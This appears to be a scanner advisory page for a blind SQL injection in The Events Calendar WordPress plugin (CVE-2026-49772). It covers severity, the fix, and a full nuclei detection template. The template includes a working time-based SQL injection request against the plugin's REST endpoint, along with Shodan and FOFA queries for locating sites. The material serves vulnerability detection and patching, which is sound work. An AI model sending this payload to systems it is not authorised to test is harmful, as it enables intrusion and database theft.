The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection

criticalseverity

9.3CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.

Impact

Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.

Fix

Upgrade to a version later than 6.16.2 or the latest available version.

How to confirm it

Send: GET /wp-content/plugins/the-events-calendar/readme.txt
Positive when: compare_versions(version, ">= 6.15.12, < 6.16.3")
Send: @timeout: 20s
Positive when: status_code == 200 and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-49772 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-49772

info:
  name: The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection
  author: HaroonArshad-53
  severity: critical
  description: |
    The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.
  remediation: |
    Upgrade to a version later than 6.16.2 or the latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-49772
    - https://github.com/joshuavanderpoll/CVE-2026-49772
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-49772
    epss-score: 0.01937
    epss-percentile: 0.80258
    cwe-id: CWE-89
  metadata:
    max-request: 2
    vendor: theeventscalendar
    product: the_events_calendar
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/the-events-calendar/"
    fofa-query: body="/wp-content/plugins/the-events-calendar/"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,blind,unauth,time-based-sqli,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/the-events-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, ">= 6.15.12, < 6.16.3")
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - "Stable tag: ([0-9.]+)"

  - raw:
      - |
        @timeout: 20s
        GET /wp-json/tec/v1/events?orderby=event_date&order=ASC%2C(SELECT%20CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(6)%20ELSE%200%20END) HTTP/1.1
        Host: {{Hostname}}
        X-TEC-EEA: I understand that this endpoint is experimental and may change in a future release without maintaining backward compatibility. I also understand that I am using this endpoint at my own risk, while support is not provided for it.

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "duration >= 6"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from